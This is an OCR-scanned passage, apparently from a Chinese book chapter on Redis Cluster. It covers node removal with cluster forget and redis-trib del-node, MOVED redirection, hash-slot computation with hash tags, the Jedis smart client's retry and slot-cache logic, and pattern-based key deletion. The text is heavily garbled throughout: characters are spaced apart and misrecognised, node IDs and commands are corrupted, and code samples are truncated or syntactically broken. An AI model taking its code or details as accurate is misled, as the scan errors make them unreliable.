connected 6827-10922 13653-15017 

1l1a205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 master - 0 146989644577 
connected 0-1365 4096 5462-6826 10923-12287 15018-16383 

cfb28efldeee4e0fa78da86abe5d2456674441le 127.0.0.1:6379 myself,master - 0 0 10 
1366-4095 4097-5461 12288-13652 

be9485a6a729fc98c5151374bc30277e89a461d8 127.0.0.1:6383 slave 8e41673d59c9568aa 
4ce733345b3e8f1 0 1469896444264 11 connected 














下 线 节 点 槽 迁 出 完成 后 ， 剩 下 的 步 又 需要 让 集群 态 记 该 节点 。 
2 


由 于 集群 内 的 节点 不 停 地 通过 Gossip 消 息 彼 此 交换 节点 状态 ， 因 此 需要 
一 种 健壮 的 机 制 让 集群 内 所 有 节点 态 记 下 线 的 节点 。 也 就 是 说 让 其 他 节 
点 不 再 与 要 下 线 节点 进行 Gossip 消 息 交 换 。Redis 提 供 了 cluster 
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forget{downNodeId} 命令 实现 该 功能 ， 如 图 10-27 所 示 。 


本 
client 6380 | — 一 —>|0Us 有 效 1 


~ SS wp 





ww -> |OUs 有 效 | 


Te 


图 10-27 在 有 效 期 60 秒 内 对 所 有 市 点 执行 cluster forget 操 作 


当 节 点 接收 到 cluster forget{down Nodeld} 命 令 后 ， 会 把 nodeld 指 定 的 节 
点 加 入 到 禁用 列表 中 ， 在 禁用 列表 内 的 节点 不 再 发 送 Gossip 消 息 。 禁 用 列表 
有 效 期 是 60 秒 ， 超 过 60 秒 节点 会 再 次 参与 消息 交换 。 也 就 是 说 当 第 一 次 
forget 命 令 发 出 后 ， 我 们 有 60 秒 的 时 间 让 集群 内 的 所 有 节点 忘记 下 线 节 点 。 


线 上 操作 不 建议 直接 使 用 cluster forget 命 令 下 线 节 点 ， 需 要 跟 大 量 节点 
命令 交互 ， 实 际 操 作 起 来 过 于 繁琐 并 且 容 易 遗 漏 forget 节 点 。 建 议 使 用 redis- 
trib.rb del-node{host: port} fdownNodeId} 命 令 ， 内 部 实现 的 伪 代 码 如 下 : 





def delnode _ cluster cmd (downNode): 
# 下 线 节 点 不 允许 包含 Slots 
if downNode.slots.length != 0 
exit 1 
end 
# 向 集群 内 节点 发 送 cluster forget 
for n in nodes: 
if n.id == downNode.id: 
# 不 能 对 自己 做 forgett 操 作 
continue; 
# 如 果 下 线 节 点 有 从 节点 则 把 从 节点 指向 其 他 主 节点 
if n.replicate && n.replicate.nodeld == downNode.id : 
# 指向 拥有 最 少 从 节点 的 主 节点 
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master = get master with least replicas () 
n.cluster ("replicate",master.nodeld); 
# 发 送 忘 记 节 点 命令 
n.cluster('forget',downNode.id) 
# 节点 关闭 
downNode.shutdown (); 





从 伪 代 码 看 出 del-node 命 令 帮 有 我 们 实现 了 安全 下 线 的 后 续 操 作 。 当 下 线 

和 点 具有 从 节点 时 需要 把 该 从 节点 指向 到 其 他 主 节 点 ， 因 此 对 于 主 从 节点 
都 下 线 的 情况 ， 建 议 先 下 线 从 节点 再 下 线 主 节 点 ， 防 止 不 必要 的 全 量 复制 。 
对 于 6381 和 6384 节 点 下 线 操作 ， 命 令 如 下 : 











redis-trib.rb del-node 127.0.0.1:6379 4fa7eac4080f0b667ffeab9b87841da49pb84a6e4 

从 节点 6384 iqd 
redis-trib.rb del-node 127.0.0.1:6379 40b8dq09dq44294dq2e23c7c768efc8fcdq153446746 
主 节点 6381 id 














节点 下 线 后 确认 节点 状态 : 





127.0.0.1:6379> cluster nodes 
cfb28efldeee4e0fa78da86abe5d2456674441le 127.0.0.1:6379 myself,master - 0 0 10 
connected 1366-4095 4097-5461 12288-13652 
be9485a6a729fc98c5151374bc30277e89a461d8 127.0.0.1:6383 slave 8e41673d59c9568aa 
9d29fpbl74ce733345b3e8f1 0 1470048035624 11 connected 
475528blbcf8e74d227104a6cflbf70f00c24aae 127.0.0.1:6386 slave 1a205dd8b2819a00d 
dle8b6be40a8e2abe77b756 0 1470048032604 12 connected 
40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 127.0.0.1:6382 slave cfb28efldeee4e0fa 
78da86abe5d2456674441lle 0 1470048035120 10 connected 
8e41673d59c9568aa9d29fbl74ce733345b3e8f1l1 127.0.0.1:6380 master - 0 147004803461 
11 connected 6827-10922 13653-15017 
la205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 master - 0 147004803361 
connected 0-1365 4096 5462-6826 10923-12287 15018-16383 























集群 节点 状态 中 己 经 不 包含 6384 和 6381 节 点 ， 到 目前 为 止 ， 我 们 完成 了 
节点 的 安全 下 线 ， 新 的 集群 结构 如 图 10-28 所 示 。 
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-四 





图 10-28 下 线 节 点 后 的 集群 结构 


本 节 介 绍 了 Redis 集 群 伸缩 的 原理 和 操作 方式 ， 它 是 Redis 集 群 化 之 后 最 
重要 的 功能 ， 熟 练 掌握 集群 伸缩 技巧 后 ， 可 以 针对 线 上 的 数据 规模 和 并 发 量 
做 到 从 容 应 对 。 
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10.$ “请求 路 由 


目前 我 们 已 经 搭建 好 Redis 集 群 并 且 理 解 了 通信 和 伸缩 细节 ， 但 还 没有 
使 用 客户 端 去 操作 集群 。Redis 集 群 对 客户 端 通信 协议 做 了 比较 大 的 修改 ， 
为 了 人 退 求 性 能 最 大 化 ， 并 没有 玉 用 代理 的 方式 而 是 采用 客户 端 直 连 市 点 的 方 
式 。 因 此 对 于 希望 从 单机 切换 到 集群 环境 的 应 用 需要 修改 客户 端 代码 。 本 节 
我 们 关注 集群 请 求 路 由 的 细节 ， 以 及 客户 端 如 何 高 效 地 操作 集群 。 
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10.5.1 ”请求 重 定 问 


在 集群 模式 下 ，Redis 接 收 任何 键 相 关 命 令 时 首先 计算 键 对 应 的 模 ， 再 
根据 槽 找 出 所 对 应 的 节点 ， 如 果 节 点 是 自身 ， 则 处 理 键 命令 ; 否则 回复 
MOVED 重 定向 错误 ， 通 知客 户 端 请 求 正确 的 节点 。 这 个 过 程 称 为 MOVED 重 





定向 ， 如 图 10-29 所 示 。 


例如 ， 在 之 前 搭建 的 集群 上 执行 如 下 命令 : 


127.0.0.1:6379> Set key:test:1 Value-LI 
OK 
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图 10-29 MOVED 重 定向 执行 流程 


执行 Set 命令 成 功 ， 因 为 键 key: test 1 对 应 槽 5191 正 好 位 于 6379 节 点 负 
责 的 槽 范围 内 ， 可 以 借助 cluster keyslot{key} 命 令 返 回 key 所 对 应 的 模 ， 如 下 
所 示 : 





127.0.0.1:6379> cluster keyslot key:test:1 

(integer) 5191 

127:0.0a1:6379> cluster nodes 

cfb28efldeee4e0fa78da86abe5d2456674441le 127.0.0.1:6379 myself,master - 0 0 10 
1366-4095 4097-5461 12288-13652 
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再 执行 以 下 命令 ， 由 于 键 对 应 槽 是 0252， 不 属于 6379 节 点 ， 则 回复 
MOVEDfslot?} {fip} {port} 格 式 重 定向 信息 : 








127.0.0.1:6379> set key:test:2 value-2 
(error) MOVED 9252 127.0.0.1:6380 
127.0.0.1:6379> cluster keyslot key:test:2 
(integer) 9252 











重 定 问 信 息 包 含 了 键 所 对 应 的 槽 以 及 负责 该 槽 的 节点 地 址 ， 根 据 这 些 信 
上 县 客户 端 就 可 以 问 正 确 的 节点 发 起 请 求 。 在 6380 节 点 上 成 功 执行 之 前 的 命 





127.0.0.1:6380> set key:test:2 Value-2 
OK 











使 用 redis-cli 命 令 时 ， 可 以 加 入 -c 参 数 文 持 目 动 重 定 癌 ， 简 化 手动 发 起 
重 定 问 操 作 ， 如 下 所 未 : 





#redis-cli -p 6379 -c 

127.0.0.1:6379> set key:test:2 value-2 

-> Redirected to slot [9252] located at 127.0.0.1:6380 
OK 








redis-cli 目 动 帮 我 们 连接 到 正确 的 节点 执行 命令 ， 这 个 过 程 是 在 redis-cli 
内 部 维护 ， 实 质 上 是 client 羔 接 到 MOVED 信 息 之 后 再 次 发 起 请 求 ， 并 不 在 
Redis 节 点 中 完成 请 求 转发 ， 如 网 10-30 所 示 。 











节点 对 于 不 属于 它 的 键 命令 只 回复 重 定 癌 啊 应 ， 并 不 负责 转发 。 见 悉 
Cassandra 的 用 户 希 望 在 这 里 做 好 区 分 ， 不 要 混淆 。 正 因为 集群 模式 下 把 解 
析 发 起 重 定 癌 的 过 程 放 到 客户 端 完成 ， 所 以 集群 客户 端 协 议 相 对 于 单机 有 了 
很 大 的 变化 。 
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键 命令 执行 步 又 主要 分 两 步 : 计算 槽 ， 碍 找 槽 所 对 应 的 节点 。 下 面 分 别 





Redis 首 先 需要 计算 键 所 对 应 的 槽 。 根 据 键 的 有 效 部 分 使 用 CRC16 函 数 
计算 出 散 列 值 ， 再 取 对 16383 的 余数 ， 使 每 个 键 都 可 以 映射 到 0~16383 醒 范 
围 内 。 伪 代码 如 下 : 





def key hash slot (key): 
int keylen = key.length(); 
for (s = 0; s < keylen; s++): 
T . 



































if (key[ls] == "'{"'): 

break; 
if (s == keylen) return crcl6 (key, keylen) & 16383; 
for (e = s+l; < keylen; 十 十 ) : 

if (keyle] == '}') break; 

if (e == keylen || == s+1) return crcl6 (key, keylen) & 16383; 
/* 使 用 { 和 ]} 之 间 的 有 效 部 分 计算 槽 */ 





return crcl6 (keyts+l,e-s-1) & 16383; 





谤 ,set key:test:2 value-=2 
发 送 . set key:tes ue 
一 人 
CCQ 
MOYED S252 T2700.E:6380 
client 
Ts 


重新 发 送 :， set key:test:2 value-2 

OO 

一 
OFK 





图 10-30 客户 端 完成 请 求 转 发 
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根据 伪 代 码 ， 如 宁 键 内 容 包含 { 和 } 大 括号 字符 ， 则 计算 槽 的 有 效 部 分 是 
括号 内 的 内 容 ， 人 否则 采用 键 的 全 内 容 计 算 槽 。 


cluster keyslot 命 令 就 是 采用 key hash _ slot 函数 实现 的 ， 例 如 : 





127.0.0.1:6379> cluster keyslot key:test:111 
(integer) 10050 
127.0.0.1:6379> cluster keyslot key: {hash tag}:111 
(integer) 2515 
1271 0:0%186379> luster keyslot key: (hash tag}:222 
(integer) 2515 











其 中 键 内 部 使 用 大 括号 包含 的 内 容 又 叫做 hash_tag， 它 提供 不 同 的 键 可 
以 具备 相同 slot 的 功能 ， 常 用 于 Redis IO 优 化 。 


例如 在 集群 模式 下 使 用 mget 等 命令 优化 批量 调用 时 ， 键 列表 必须 具有 相 
同 的 slot， 否 则 会 报错 。 这 时 可 以 利用 hash tag 让 不 同 的 键 具 有 相同 的 slot 达 
到 优化 的 目的 。 命 令 如 下 : 





127.0.0.1:6385> mget user:10086:frends user:10086:videos 
(error) CROSSSLOT Keys in request don't hash to the same slot 
127.0.0.1:6385> mget user: {10086}:friends user:{10086}:videos 
1) "friends" 

2) "videos" 





Oj 








Pipeline 同 样 可 以 受益 于 hash tag， 由 于 Pipeline 只 能 同一 个 节点 批量 发 送 
执行 命令 ， 而 相同 slot 必 然 会 对 应 到 唯一 的 节点 ， 降 低 了 集群 使 用 Pipeline 的 
门槛 。 


2. 槽 节点 碍 找 


Redis 计 算得 到 键 对 应 的 槽 后 ， 需 要 得 找 槽 所 对 应 的 节点 。 集 群 内 通过 
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消 轧 交换 每 个 贡 点 都 会 知道 所 有 节点 的 槽 信息 ， 内 部 保存 在 clusterState 结 构 
中 ， 结 构 所 示 : 





typedef struct clusterState { 
clusterNode *myself; /* 自身 节点 ,ClusterNode 代 表 节 点 结构 体 */ 
clusterNode *slots[CLUSTER SLOTS]; /* 16384 个 槽 和 节点 映射 数组 ， 数 组 下 标 代表 对 应 的 槽 */ 














} clusterState; 





slotfs 数 组 表示 槽 和 节点 对 应 关系 ， 实 现 请 求 重 定 同 伪 代 码 如 下 : 





def execute or redirect (key): 
int slot = key hash slot (key); 
ClusterNode node = slots[slot]; 
if(node == clusterState.myself): 
return executeCommand (key); 
else: 
return '(error) MOVED {slot} {node.ip}:{node.port}'; 





























根据 伪 代 码 看 出 节点 对 于 判定 键 命令 是 执行 还 是 MOVED 重 定 同 ， 都 是 
借助 slots[CLUSTER_SLOTS] 数 组 实现 。 根 据 MOVED 重 定向 机 制 ， 客 户 端 可 
以 随机 连接 集群 内 任 一 Redis 获 取 键 所 在 节点 ， 这 种 客户 端 又 叫 Dummy《〈 倪 
偏 〉 客户 端 ， 它 优点 是 代码 实现 简单 ， 对 客户 端 协议 影响 较 小 ， 只 需要 根据 
重 定向 信息 再 次 发 送 请 求 即 可 。 但 是 它 的 次 端 很 明显 ， 每 次 执行 键 命令 前 都 
要 到 Redis 上 进行 重 定向 才能 找到 要 执行 命令 的 节点 ， 额 外 增加 了 IO 开销 ， 
这 不 是 Redis 集 群 高 效 的 使 用 方式 。 正 因为 如 此 通常 集群 客户 端 都 采用 另 一 
种 实现 : Smart (智能 ) 客户 端 。 
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10.$.2 Smart 安 户 端 


1.Smart 客 户 端 原理 


大 多 数 开 发 语言 的 Redis 客 户 端 都 采用 Smart 客 户 端 支 持 集群 协议 ， 客 户 
端 如 何 选择 见 : http://redis.io/clients， 从 中 找 出 符合 自己 要 求 的 客户 端 类 
库 。Smart 客 户 端 通过 在 内 部 维护 slot>node 的 映射 关系 ， 本 地 就 可 实现 键 到 
节点 的 查找 ， 从 而 保证 IO 效 率 的 最 大 化 ， 而 MOVED 重 定向 负责 协助 Smart 客 
户 端 更 新 slot—node 映 射 。 我 们 以 Java 的 Jedis 为 例 ， 说 明 Smart 客 户 端 操作 和 集 
群 的 流程 。 


1) 首先 在 JedisCluster 初 始 化 时 会 选择 一 个 运行 节点 ， 初 始 化 模 和 节点 
映射 关系 ， 使 用 cluster slots 命 令 完 成 ， 如 下 所 示 : 





127.0.0.1:6379> cluster slots 
1) 1) (ijnteger) 0 // 开始 槽 范围 
2) (integer) 1365 // 结束 模范 围 
3) 1) T2700.1™ 7/ 主 节 点 1p 
2) (integer) 6385 // 主 节点 地 址 
4) 1) "127.0.0.1"” // 从 节点 ip 
2) (integer) 6386 // 从 节点 端 
2) 1) (integer) 5462 
2) (integer) 6826 
3) Ly TL27:0: 0 LL" 
2) (integer) 6385 
4) Ly E27700sL" 
2) (integer) 6386 


























2) JedisCluster 解 析 cluster slots 结 果 组 存在 本 地 ， 并 为 每 个 节点 创建 唯 
一 的 JedisPool 连 接 池 。 了 映射 关系 在 JedisClusterInfoCache 类 中 ， 如 下 所 示 : 





public class JedisClusterIinfoCache { 
private Map<String, JedisPool> nodes = new HashMap<String, JedisPool>(); 
private Map<Integer, JedisPool> slots = new HashMap<Integer, JedisPool>(); 
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3) JedisCluster 执 行 键 命令 的 过 程 有 些 复杂 ， 但 是 理解 这 个 过 程 对 于 开 
发 人 员 分 析 定位 问题 非常 有 帮助 ， 部 分 代码 如 下 : 





public abstract class JedisClusterCommand<T> ({ 
/ / ”集群 节点 连接 处 理 器 
private JedisClusterConnectionHandler connectionHandler; 
/ / 重 试 次 数 ， 默 认 5 次 
private int redirections; 
/ / 模板 回调 方法 
public abstract T execute (Jedqis connection); 
public T run(String key) { 
if (key == null) { 
throw new JedisClusterException("No way to dispatch this command 七 
Redis Cluster."); 


























return runWithRetries (SafeEncoder.encode (key), this.redirections, false 
false); 
| 
/ / 利用 重 试 机 制 运 行 键 命令 
private T runWithRetries (byte[] key, int redirections, boolean tryRandomNod 
boolean asking) { 
if (redirections <= 0) { 
throw new JedisClusterMaxRedirectionsException("Too many Cluster re 
rections"); 


























一 











} 
Jedis connection = null; 
try { 
if (tryRandomNode) ({ 
/ / 随机 获取 活跃 节点 连接 























connection = connectionHandler.getConnection(); 
} else { 
/ / 使 用 So 上 缓存 获取 目标 节点 连接 
connection = connectionHandler.getConnectionFromSlot (JedisClusterCR 


getSlot (key)); 





return execute (connection); 
} catch (JedisConnectionException jce) { 
/ /” 出 现 连接 错误 使 用 随机 连接 重 试 
return runWithRetries (key, redirections - 1, true/* 开 启 随机 连接 */， askir 
} catch (JedisRedirectionException jre) { 
if (jre instanceof JedisMovedDataException) { 
/ / 如果 出 现 MOVED 重 定向 错误 ， 在 连接 上 执行 CLuster slots 命 令 重 新 初始 化 Sl1ot 缓 存 
this.connectionHandler.renewSlotCache (connection); 





















































} 

// ”slot 初 始 化 后 重 试 执行 命令 

return runWithRetries (key, redirections - 1, false, asking); 
} finally ({ 

releaseConnection (connection); 
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1) 计算 slot 并 根据 slots 缓 存 获 取 目 标 节 点 连接 ， 发 送 命令 。 


2) 如 果 出 现 连接 错误 ， 使 用 随机 连接 重新 执行 键 命令 ， 每 次 命令 重 试 


对 redi-rections 参 数 减 1。 


3) 捕获 到 MOVED 重 定 癌 错误 ， 使 用 cluster slots 命 令 更 新 slots 绥 存 
(renewSlotCache 方 法 ) 。 


4) 重复 执行 1) ~3) 步 ， 直 到 命令 执行 成 功 ， 或 者 当 redirections<=0 时 


抛 出 Jedis ClusterMaxRedirectionsException 异 和 党。 


整个 流程 如 图 10-31 所 示 。 
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JedisCluster 







重新 初 冶 化 
slot-node 映射 响 态 


FM MC ei Ce ee ee ee EE Ee 


图 10-31 Jedis 客 户 端 命 令 执行 流程 


从 命令 执行 流程 中 发 现 ， 客 户 端 需要 结合 异常 和 重 试 机 制 时 刻 保证 跟 
Redis 集 群 的 slots 同 步 ， 因 此 Smart 客 户 端 相 比 单 机 客户 端 有 了 很 大 的 变化 和 
实现 难度 。 了 解 命令 执行 流程 后 ， 下 面 我 们 对 Smart 客 户 端 成 本 和 可 能 存在 
的 问题 进行 分 析 : 





1) 客户 并 内 部 维护 slots 绥 存 表 ， 并 且 针 对 每 个 市 点 维护 连接 闻 ， 当 集 
群 规 模 非 党 大 时 ， 客 户 端 会 维护 非常 多 的 连接 并 消耗 更 多 的 内 存 。 


2) 使 用 Jedis 操 作 和 集群 时 最 常见 的 错误 是 : 
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throw new JedisClusterMaxRedirectionsException("Too many Cluster redirections") 














这 经 常会 引起 开发 人 员 的 疑惑 ， 它 隐藏 了 内 部 错误 细节 ， 原 因 是 节点 宕 
机 或 请 求 超 时 都 会 抛 出 JedisConnectionException， 导 致 触发 了 随机 重 试 ， 当 
重 试 次 数 耗 尽 抛 出 这 个 错误 。 


3) 当 出 现 JedisConnectionException 时 ，Jedis 认 为 可 能 是 集群 节点 故障 需 
要 随机 重 试 来 更 新 slots 绥 存 ， 因 此 了 解 哪 些 异 常 将 抛 出 
JedisConnectionException 变 得 非常 重要 ， 有 如 下 几 种 情况 会 抛 出 





JedisConnectionException: 
.Jedis 连 接 节 点 发 生 socket 错 误 时 抛 出 。 
.所 有 命令 /Lua 脚 本 读 写 超时 抛 出 。 
.JedisPool 连 接 池 获 取 可 用 Jedis 对 象 超时 抛 出 。 


前 两 点 都 可 能 是 节点 故障 需要 通过 JedisConnectionException 来 更 新 Slots 
缓存 ， 但 是 第 三 点 没有 必要 ， 因 此 Jedis2.8.1 版 本 之 后 对 于 连接 池 的 超时 抛 
出 Jedis Exception， 从 而 避免 触发 随机 重 试 机 制 |。 








4) Redis 集 群 支 持 自动 故障 转移 ， 但 是 从 故障 发 现 到 完成 转移 需要 一 定 
的 时 间 ， 节 点 宕 机 期 间 所 有 指向 这 个 节点 的 命令 都 会 触发 随机 重 试 ， 每 次 收 
到 MOVED 重 定向 后 会 调用 JedisClusterInfoCache 类 的 renewSlotCache 方 法 。 部 
分 代码 如 下 : 








private final ReentrantReadWriteLock rwl = new ReentrantReadWriteLock(); 
private final Lock r = rwl.readLock(); 
private final Lock w = rwl.writeLock(); 
public void renewSlotCache (Jedis jedis) { 
臣下 全 
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cache.discoverClusterSlots (jedis); 
} catch (JedisConnectionException e) { 
renewSlotCache (); 





} 
} 
public void discoverClusterSlots (Jedis jedis) { 
/ / 获取 写 锁 
w.lock(); 
ty 款 
this.slots.clear (); 
// 执行 Juster slots 
List<Object> slots = jedis.clusterSlots(); 
for (Object SlotInfoopj : slots) { 
/ / ”初始 化 slots 缓存 代码 , 忽略 细节 . . . 
} 
} finally { 
w.unlock (); 
} 
} 
public JedisPool getSlotPool (int slot) { 
/ / 获取 读 锁 
EFOGkK() 
try { 
// 返回 Sl1ot 对 应 的 jedisPool 
return slots.get (slot); 
} finally { 
r.unlock(); 








} 








从 代码 中 看 到 ， 获 得 写 锁 后 再 执行 cluster slots 命 令 初 始 化 缓存 ， 由 于 集 
群 所 有 的 键 命令 都 会 执行 getSlotPool] 方 法 计算 槽 对 应 节点 ， 它 内 部 要 求 读 
锁 。Reentrant ReadWriteLock 是 读 锁 共享 且 读 写 锁 互 斥 ， 从 而 导致 所 有 的 请 
求 都 会 造成 阻塞 。 对 于 并 发 量 高 的 场景 将 极 大 地 影响 集群 吞吐 。 这 个 现象 称 
为 cluster slots 风 暴 ， 有 如 下 现象 : 











. 重 试 机 制导 致 IO 通信 放大 问题 。 比 如 默认 重 试 $ 次 的 情况 ， 当 抛 出 
JedisClusterMaxRedirectionsException 异 第 时 ， 内 部 最 少 需要 9 次 IO 通信 : 5$ 次 
发 送 命令 +2 次 ping 命 令 保 证 随机 节点 正常 +2 次 cluster slots 命 令 初 始 化 slots 绥 
存 。 导 致 异常 判定 时 间 变 长 。 








个别 节点 操作 异常 导致 频繁 的 更 新 slots 缓 存 ， 多 次 调用 cluster slots 命 
令 ， 高 并 发 时 将 过 度 消 耗 Redis 节 点 资源 ， 如 果 和 集群 slot<->node 映 射 庞 大 则 
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cluster slots 返 回信 息 越 多 ， 问 题 越 严重 。 


频繁 触发 更 新 本 地 slots 缓 存 操作 ， 内 部 使 用 了 写 锁 ， 阻 塞 对 集群 所 有 
的 键 命令 调用 。 


针对 以 上 问题 在 Jedis2.8.2 版 本 做 了 改进 : 


` 当 接收 到 JedisConnectionException 时 不 再 轻易 初始 化 slots 绥 存 ， 大 幅 降 
低 内 部 IO 次 数 ， 伪 代码 如 下 : 








def runWithRetries (byte[] key, int attempts) : 
if (attempts <= 0) : 
throw new JedisClusterMaxRedirectionsException("Too many Cluster red ir, 
Jedis connection = null; 
CEyY 8 
/ / 获取 连接 
connection = connectionHandler.getConnectionFromSlot (JedisClusterCRC16. 
return execute (connection); 
except JedisConnectionException,jce : 
if (attempts <= 1) : 
/ /” 当 重 试 到 1 次 时 ， 更 新 本 地 s 1 ot Ss 绥 存 
this.connectionHandler.renewSlotCache (); 
// 抛 出 异常 
throw jce; 
/ / 递归 执行 重 试 
return runWithRetries (key, attempts - 1); 
xcept JedisRedirectionException,jre: 
/ / ”如 果 是 MOVED 异 常 ， 更 新 S10ot ss 缓存 
if (jre instanceof JedisMovedDataException) : 
this.connectionHandler.renewSlotCache (connection); 
/ / 递归， 执行 重 试 
return runWithRetries (key, attempts - 1); 
finally: 
releaseConnection(connection); 


















































根据 代码 看 出 ， 只 有 当 重 试 次 数 到 最 后 1 次 或 者 出 现 
MovedDataException 时 才 更 新 Slots 操 作 ， 降 低 了 cluster slots 命 令 调用 次 数 。 


. 当 更 新 Slots 绥 存 时 ， 不 再 使 用 ping 命 令 检测 节点 活跃 度 ， 并 且 使 用 redis 
covering 变 量 保证 同一 时 刻 只 有 一 个 线程 更 新 slots 绥 存 ， 其 他 线程 忽略 ， 优 
化 了 写 锁 阻塞 和 cluster slots 调 用 次 数 。 伪 代码 如 下 : 
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def renewSlotCache (Jedis jedis) 
// 使 











rediscovering 变 量 保证 当 有 一 个 线程 正在 初始 化 S10tS 时 ， 其 他 线程 直接 忽略 。 
if (!rediscovering): 
EEYy 3 


























w.lock (); 


rediscovering = true 
if (jedis != null) 
try 


/ / 更 新 本 地 缓存 
discoverClusterSlots (jedis) 
= 
except JedisException,e: 
// ”忽略 异常 ， 使 用 随机 查找 更 新 Sl1ots 
随机 节点 更 新 slots 
(JedisPool jp : getShuffledNodesPool () ) 
ty 

/ / 不 再 使 有 




















// 使 


for 



























































Ping 命 令 检测 节点 
jedis = jp.getResource () ; 
discoverClusterSlo 
returny 


except JedisConnec 





ts(jedis); 








tionE 


Exception,e: 
// try next nodes 
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if (jedis != null) 
jedis.close() 
finally : 


/ / 释放 锁 和 rediscovering 变 量 
rediscovering = fals 
w.unlock (); 





综 上 所 述 





，Jedis2.8.2 之 后 的 版 本 ， 
命令 


当 出 现 JedisConnectionException 时 
发送 次 数 变 为 5 次 : 


4 次 重 试 命令 +1 次 cluster slots 命 


命令 ， 同 时 避免 了 
cluster Slots 不 必要 的 并 发 调用 


Oana 


建议 升级 到 Jedis2.8.2 以 上 版 本 防止 cluster slots 风 录 和 写 锁 阻塞 问题 ， 但 
是 笔者 认为 还 可 以 进一步 优化 ， 如 下 所 示 : 


执行 cluster slots 的 过 程 不 需要 加 入 任何 读 因为 cluster slots 命 令 执 
行 不 需要 做 并 发 控制 ， 只 有 修改 本 地 slots 时 才 需 要 控制 并 发 ， 这 样 降低 了 
锁 持 有 时 间 。 


当 获 取 新 的 slots 映 射 后 使 用 读 锁 跟 老 slots 比 对 ， 只 有 新 老 slots 不 一 致 时 
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再 加 入 写 锁 进行 更 新 。 防 止 集 群 slots 映 射 没 有 变化 时 进行 不 必要 的 加 写 锁 行 


这 里 我 们 用 大 量 篇 幅 介 绍 了 Smart 客 户 端 Jedis 与 集群 交互 的 细节 ， 主 要 
原因 是 针对 于 高 并 发 的 场景 ， 这 里 是 绝对 的 热点 代码 。 集 群 协议 通过 Smart 
客户 端 全 面 高 效 的 支持 需要 一 个 过 程 ， 因 此 用 户 在 选择 Smart 客 户 端 时 要 重 
点 审核 集群 交互 代码 ， 防 止 线 上 踩 坑 。 必 要 时 可 以 自行 优化 修改 客户 端 源 
但 。 











2.Smart 客 户 端 JedisCluster 





(1) JedisCluster 的 定义 


Jedis 为 Redis Cluster 提 供 了 Smart 客 户 端 ， 对 应 的 类 是 JedisCluster， 它 的 
初始 化 方法 如 下 : 





public JedisCluster (Set<HostAndPort> jedisClusterNode, int connectionTimeout, i 
soTimeout, int maxAttempts, final GenericObjectPoolConfig poolConfig) { 





} 





其 中 包含 了 5 个 参数 : 


“Set<HostAndPort>jedisClusterNode: 所 有 Redis Cluster 节 点 信息 (也 可 
以 是 一 部 分 ， 因 为 客户 端 可 以 通过 cluster slots 目 动 发 现 ) 。 


.int connectionTimeout: 连接 超时 。 
-int soTimeout: 读 写 超时 。 
:int maxAttempts: 重 试 次 数 。 
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.GenericObjectPoolConfig poolConfig: 连接 池 参 数 ，JedisCluster 会 为 
Redis Cluster 的 每 个 节点 创建 连接 池 ， 有 关连 接 池 的 详细 说 明 参 见 第 4 章 。 





例如 下 面 代码 展示 了 一 次 JedisCluster 的 初始 化 过 程 。 





/ / 初始 化 所 有 节点 (例如 6 个 节点 ) 

Set<HostAndPort> jedisClusterNode = new HashSet<HostAndPort>(); 
jedisClusterNode.add (new HostAndPort ("10.10.xx.1", 6379)); 
jedisClusterNode.add (new HostAndPort ("10.10.xx.2", 6379)) 
jedisClusterNode.add (new HostAndPort ("10.10.xx.3", 6379)) 
jedisClusterNode.add (new HostAndPort ("10.10.xx.4", 6379)); 
jedisClusterNode.add (new HostAndPort ("10.10.xx.5", 6379)) 
jedisClusterNode.add (new HostAndPort ("10.10.xx.6", 6379)) 

/ / 初始 化 commnon-Poo1l1 连 接 池 ， 并 设置 相关 参数 

GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig(); 
// 初始 化 JedisCluster 
JedisCluster jedisCluster = new JedisCluster(jedisClusterNode, 1000, 1000, 5, 

















p 1 





JedisCluster 可 以 实现 命令 的 调用 ， 如 下 所 示 。 





jedisCluster.set ("hello", “world"); 
jedisCluster.get ("key"); 











对 于 JedisCluster 的 使 用 需要 注意 以 下 几 点 : 


.JedisCluster 包 含 了 所 有 节点 的 连接 池 (JedisPool) ， 所 以 建议 
JedisCluster 使 用 单 例 。 


JedisCluster 每 次 操作 完成 后 ， 不 需要 管理 连接 池 的 借 还 ， 它 在 内 部 已 


:JedisCluster 一 般 不 要 执行 close () 操作 ， 它 会 将 所 有 JedisPool 执 行 


destroy 操 作 。 


(2) 多 节点 命令 和 操作 
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Redis Cluster 虽 然 提 供 了 分 布 式 的 特性 ， 但 是 有 些 命令 或 者 操作 ， 详 如 
keys、flushall、 删 除 指定 模式 的 键 ， 需 要 遇 历 所 有 节点 才 可 以 完成 。 下 面 代 
码 实 现 了 从 Redis Cluster 删 除 指定 模式 键 的 功能 : 





// 从 RedisCluster 批 量 删除 指定 pattern 的 数据 

public void delRedisClusterByPattern(JedisCluster jedisCluster, String pattern, 
int scanCounter) { 
/ / ”获取 所 有 节点 的 JedisPool 


























Map<String, JedisPool> jedisPoolMap = jedisCluster.getClusterNodes (); 
for (Entry<String, JedisPool> entry : jedisPoolMap.entrySet()) { 
/ / ”获取 每 个 节点 的 Jedis 连 接 
Jedis jedis = entry.getValue() .getResource (); 
/ / 只 删除 主 节点 数据 
if (!isMaster(jedis)) ({ 
continue; 


} 









































// ”使 用 Pipe1line 每 次 删除 指定 前 级 的 数据 
Pipeline pipeline = jedis.pipelined(); 
/ / 使 用 Scan 扫描 指定 前 绷 的 数据 
String cursor = "0"; 
/ / 指定 扫描 参数 : 每 次 扫描 个 数 和 pattern 
ScanParams params = new ScanParams () .count (scanCounter) .match (pattern); 
while (true) { 
/ / 执行 扫描 
ScanResult<String> scanResult = jedis.scan(cursor, params); 


/ / 删除 的 key 列表 
List<String> keyList = ScanResult .getResult (); 
if (keyList != null && keyList.size() > 0) 1 
for (String key : keyList) { 
pipeline.del (key); 
} 


/ / 批量 删除 
pipeline.syncAndReturnAll (); 
} 
cursor = scanResult.getStringCursor (); 
/ / 如 果 游 标 变 为 0， 说 明 扫 描 完毕 
if ("0" .eaquals (cursor)) { 
break; 


} 
) 
// ”判断 当前 Redis 是 否 为 master 节 点 
private boolean isMaster (Jedis jedis) { 
String[] data = jedis.info("Replication") .split("\r\n"); 
for (String line : data) { 
if ("role:master".equals (line.trim())) { 
return trues 
} 
} 


return false; 
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1) 通过 jedisCluster.getClusterNodes〈) 获取 所 有 节点 的 连接 池 。 
